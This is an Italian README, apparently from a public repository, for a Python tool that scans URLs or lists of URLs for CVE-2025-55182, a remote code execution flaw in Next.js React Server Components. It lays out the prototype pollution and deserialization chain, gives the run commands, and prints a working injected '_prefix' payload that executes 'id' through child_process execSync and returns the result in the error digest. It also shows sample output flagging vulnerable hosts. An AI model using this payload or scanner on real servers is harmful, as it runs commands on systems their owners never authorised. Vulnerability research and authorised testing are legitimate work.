
Scanner di sicurezza per CVE-2025-55182 - Vulnerabilità critica RCE nei componenti server di React
Questo strumento verifica se un target è vulnerabile a CVE‑2025‑55182, un bug di Remote Code Execution causato dalla gestione non sicura dei payload dei modelli RSC (React Server Components) all'interno di Next.js.
La vulnerabilità combina Prototype Pollution → Abuso di Deserializzazione → Esecuzione JavaScript lato server.
Disclaimer: Usalo solo su sistemi di cui sei legalmente proprietario o per cui hai autorizzazione esplicita. Test non autorizzati = reato, bello.
Next.js elabora internamente oggetti "model" speciali inviati tramite multipart/form-data.
Se un attaccante inietta una struttura malevola come un thenable contraffatto, può avvelenare:
__proto___response._prefixconstructor.constructorCiò porta il server a valutare JavaScript controllato dall'attaccante, risultando in RCE completo.
-u) o un elenco di target (-l)id) dal digest dell'errore del serverfoxvuln.txtpython3 main.py -u https://target.com
python3 main.py -l list.txt
Il payload abusa di process.mainModule.require('child_process').execSync() tramite _prefix iniettato:
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
Questo forza il server a eseguire id e a far trapelare il risultato all'interno del digest lanciato (perché gli errori RSC restituiscono intenzionalmente un campo "digest" strutturato).
Target vulnerabile:
[+] Testing: https://victim.com
[VULN] user : uid=1000(www-data)
Non vulnerabile:
[+] Testing: https://secure.com
[NOT VULN]
Tutti gli URL confermati vulnerabili vengono salvati in:
foxvuln.txt
Formato:
https://victim.com => uid=1000(www-data)
/